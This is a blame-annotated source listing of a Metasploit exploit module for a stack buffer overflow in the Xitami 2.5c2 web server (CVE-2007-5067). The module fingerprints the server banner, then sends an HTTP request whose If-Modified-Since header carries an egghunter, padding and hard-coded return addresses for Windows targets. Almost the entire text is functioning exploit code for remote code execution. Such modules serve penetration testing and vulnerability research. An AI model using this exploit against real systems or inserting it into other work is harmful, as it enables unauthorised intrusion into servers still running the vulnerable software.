2007-09-29 04:30:59 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2007-09-29 04:30:59 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
2016-03-07 19:19:55 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2013-08-30 21:28:54 +00:00
|
|
|
Rank = AverageRanking
|
2007-09-29 04:30:59 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
include Msf::Exploit::Remote::Egghunter
|
2007-09-29 04:30:59 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Xitami 2.5c2 Web Server If-Modified-Since Overflow',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a stack buffer overflow in the iMatix Corporation
|
|
|
|
Xitami Web Server. If a malicious user sends an If-Modified-Since
|
|
|
|
header containing an overly long string, it may be possible to
|
|
|
|
execute a payload remotely. Due to size constraints, this module uses
|
|
|
|
the Egghunter technique.
|
|
|
|
},
|
|
|
|
'Author' => 'patrick',
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2007-5067' ],
|
|
|
|
[ 'OSVDB', '40594'],
|
|
|
|
[ 'OSVDB', '40595'],
|
|
|
|
[ 'BID', '25772' ],
|
|
|
|
[ 'EDB', '4450' ]
|
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'process',
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 700,
|
|
|
|
'BadChars' => "\x00\x0a\x0d",
|
|
|
|
},
|
|
|
|
'Platform' => ['win'],
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
# Patrick - Both tested OK 20070928 - w2ksp0, w2ksp4, xpsp0, xpsp2 en.
|
|
|
|
[ 'xigui32.exe Universal', { 'Ret' => "\xff\xce\x44", 'Offset' => 40 } ], # 0x0044ceff ret xigui32.exe
|
|
|
|
[ 'xitami.exe Universal', { 'Ret' => "\xf2\xc1\x47", 'Offset' => 68 } ], # 0x0047c1f2 ret xitami.exe
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Sep 24 2007',
|
|
|
|
'DefaultTarget' => 0))
|
2007-09-29 04:30:59 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(80),
|
|
|
|
],self.class)
|
|
|
|
end
|
2007-09-29 04:30:59 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def check
|
|
|
|
connect
|
2014-06-28 21:05:05 +00:00
|
|
|
sock.put("GET / HTTP/1.1\r\nHost: #{rhost}\r\n\r\n")
|
|
|
|
banner = sock.get_once
|
2013-08-30 21:28:54 +00:00
|
|
|
disconnect
|
2007-09-29 04:30:59 +00:00
|
|
|
|
2014-06-28 21:05:05 +00:00
|
|
|
if (banner.to_s =~ /Xitami/)
|
2014-01-20 20:26:10 +00:00
|
|
|
vprint_status("Banner: #{banner}")
|
|
|
|
return Exploit::CheckCode::Detected
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2014-01-20 20:26:10 +00:00
|
|
|
|
|
|
|
return Exploit::CheckCode::Safe
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2007-09-29 04:30:59 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def exploit
|
|
|
|
connect
|
2007-09-30 00:05:10 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
hunter = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
|
|
|
|
egg = hunter[1]
|
2007-09-30 00:05:10 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
sploit = "GET / HTTP/1.1\r\n"
|
|
|
|
sploit << "Host: " + egg + "\r\n"
|
|
|
|
sploit << "If-Modified-Since: " + Rex::Arch::X86.jmp_short(3) + ", "
|
|
|
|
sploit << hunter[0] + rand_text_alphanumeric(target['Offset']) + target['Ret']
|
2007-09-30 00:05:10 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
sock.put(sploit + "\r\n\r\n")
|
2007-09-30 00:05:10 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status("Waiting for payload to execute...")
|
2007-09-29 04:30:59 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
2007-09-29 04:30:59 +00:00
|
|
|
|
2009-10-12 14:39:51 +00:00
|
|
|
end
|